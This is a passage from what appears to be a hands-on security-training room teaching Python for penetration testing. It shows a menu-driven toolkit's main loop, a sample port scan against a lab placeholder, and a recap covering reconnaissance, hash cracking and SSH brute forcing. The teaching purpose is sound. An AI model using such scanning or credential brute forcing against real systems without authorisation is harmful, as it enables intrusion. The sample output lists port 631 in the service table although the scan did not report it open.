        choice = input("\nSelect an option: ").strip()

        if choice == "4":
            print("[*] Exiting toolkit. Goodbye.")
            break
        elif choice in actions:
            print()
            actions[choice]()
        else:
            print("[!] Invalid option. Enter 1-4.")

main()
```

### Key Design Patterns

Several patterns in this script are worth highlighting because they reflect real-world software design thinking.

**The Dispatch Dictionary**

Instead of writing a chain of `if/elif/else` statements to map menu choices to functions, we use a dictionary called actions that maps strings to function references. When the user enters "1", the expression `actions["1"]` retrieves the `run_subdomain_enum` function, and `actions``"1"``()` calls it. This pattern is more maintainable than a long conditional chain; adding a new tool means adding one line to the dictionary and writing one new function. It is a technique you will encounter in professional Python codebases.

**Wrapper Functions**

Notice that `run_subdomain_enum`, `run_directory_enum`, and `run_port_scan` do not contain the actual scanning logic. They handle user interaction (collecting input and validating it) and delegate the actual work to the functions we built earlier. This separation keeps the core logic reusable; the subdomain enumeration function does not care whether its arguments come from a menu prompt, a command-line argument, or another script. As we learned in the Building Scripts room, functions should do one thing and do it well.

**Input Validation**

In`run_port_scan`, we wrap the `int(`) conversion in a `try/except` block. If the user types “abc” instead of a port number, the script prints an error and returns to the menu instead of crashing. This is the same resilience pattern from the Building Scripts room, applied in a new context.

**Running the Toolkit**

```markdown
           ubuntu@tryhackme:~/Pentesting-Scripts$ python3 toolkit.py

========================================
   Python Pentester Toolkit
========================================
  1. Subdomain Enumeration
  2. Directory Enumeration
  3. Port Scan
  4. Exit
========================================

Select an option: 3

Enter target IP or hostname: MACHINE_IP
Enter max port to scan (default: 1024): 1024

[*] Scanning MACHINE_IP (ports 1-1024)...

[+] Port 22 is open
[+] Port 80 is open

Port      Likely Service      
------------------------------
22        SSH
80        HTTP
631       Unknown

========================================
   Python Pentester Toolkit
========================================
  1. Subdomain Enumeration
  2. Directory Enumeration
  3. Port Scan
  4. Exit
========================================

Select an option: 4
[*] Exiting toolkit. Goodbye.
```

The toolkit loops back to the menu after each operation, letting you chain multiple reconnaissance tasks without restarting. This mirrors the workflow of a real engagement: scan the network, note the live hosts, pivot to port scanning, then run directory enumeration against the web servers you discovered.

### **Extending the Toolkit**

This capstone is intentionally minimal. In a real project, you might consider the following enhancements:

*   **Add the remaining tools**: integrate the file downloader, hash cracker, and SSH brute forcer as menu options 4, 5, and 6
    
*   **Log all results to a file**: write each tool’s findings to a timestamped log using the file I/O techniques from the Building Scripts room
    
*   **Pass results between tools**: let the port scanner’s output automatically feed into the directory enumerator (if port 8000 or 8080 is open, offer to scan for directories)
    
*   **Accept command-line arguments**: support both interactive mode and a non-interactive mode for automation (e.g., `python3 toolkit.py --scan 10.10.10.0/24`)
    

Each of these extensions uses concepts you have already learned. The point of this capstone is not to hand you a finished product but to demonstrate that individual scripts become far more powerful when they are composed into a workflow.

### Answer the questions below

What data structure does the toolkit use to map menu choices to functions? `dictionary`

## Conclusion

Take a moment to consider where you started and where you are now. Three rooms ago, you wrote your first `print("Hello World")` and built a number-guessing game. Two rooms ago, you learned how to store data in lists and dictionaries, iterate with `for` loops, and manipulate strings. In the previous room, you organized code into functions, handled errors gracefully, read and wrote files, and imported libraries. In this room, you took every one of those skills and pointed them at real penetration testing problems.

## **What We Covered**

Over the course of this room, you built six working security tools and integrated three of them into a unified toolkit:

*   **Web reconnaissance** (Task 2): You used the `requests` library to enumerate subdomains and directories with wordlist-driven HTTP probing. You learned how to interpret status codes, handle connection errors, and recognize the difference between a `404` (not found) and a `403` (forbidden but present).
    
*   **Network discovery** (Task 3): You used Scapy to craft and send ARP packets to discover live hosts on a local network. You learned why ARP scanning is more reliable than ICMP on networks where ping is blocked.
    
*   **Port scanning** (Task 4): You used the `socket` module to build a TCP connect scanner to identify open services on target hosts. You learned the difference between `connect()` and `connect_ex()`, and why performance matters at scale.
    
*   **Automated downloads** (Task 5): You built a flexible file downloader that handles single files, batch downloads from URL lists, and large files via streaming. You learned the critical distinction between binary and text write modes.
    
*   **Hash cracking** (Task 6): You extended your `hashlib` knowledge from the Building Scripts room into a practical dictionary attack tool. You learned why MD5 and SHA-1 are considered weak and how salting defends against precomputed attacks.
    
*   **Credential testing** (Task 7): You used Paramiko to automate SSH login attempts, discovering valid credentials from a wordlist. You learned about account lockout policies and the legal boundaries of brute-force testing.
    
*   **Toolkit integration** (Task 8): You combined individual scripts into a menu-driven program using dispatch dictionaries and wrapper functions, practicing the software design principle of separating logic from interface.
    

## **The Bigger Picture**

Notice that these tools follow the natural flow of a penetration test. You started with external reconnaissance (subdomain and directory enumeration), moved to internal discovery (ARP scanning), identified services (port scanning), retrieved data (file downloads), cracked credentials (hash cracking), and gained access (SSH brute-forcing). This is not a coincidence; the room was structured to mirror the progression of a real engagement.

Also, notice what all of these scripts have in common from a Python perspective. Every script uses **functions** to organize logic. Every script uses `try`**/**`except` to handle failures without crashing. Every script uses `with` **blocks** for safe file handling. Every script uses **f-strings** for clean output. Every script accepts **command-line arguments** for flexibility. These are not just good habits; they are the patterns that separate a throwaway snippet from a reliable tool.

## **Where To Go From Here**

This room gave you a foundation, but there is plenty of room to grow. Consider these directions for further exploration:

*   **Threading and async I/O**: Our port scanner and brute forcer run sequentially. Python’s `threading` and `asyncio` modules can dramatically speed up network-based tools by running multiple operations in parallel.
    
*   **DNS enumeration**: In Task 2, we probed subdomains via HTTP. A more sophisticated approach uses DNS queries directly with libraries like `dnspython`, which is faster and does not require the target to have a running web server.
    
*   **Banner grabbing**: After discovering open ports, connecting and reading the service banner reveals software versions, which you can then cross-reference against vulnerability databases.
    
*   **Output formatting**: Professional tools produce structured output in formats like JSON, CSV, or XML. Python’s built-in `json` and `csv` modules make this straightforward.
    
*   **Packaging with PyInstaller**: You can compile your Python scripts into standalone executables using PyInstaller, making them portable across systems that may not have Python installed.
    

Each of these builds directly on what you learned in this room and the three that preceded it.
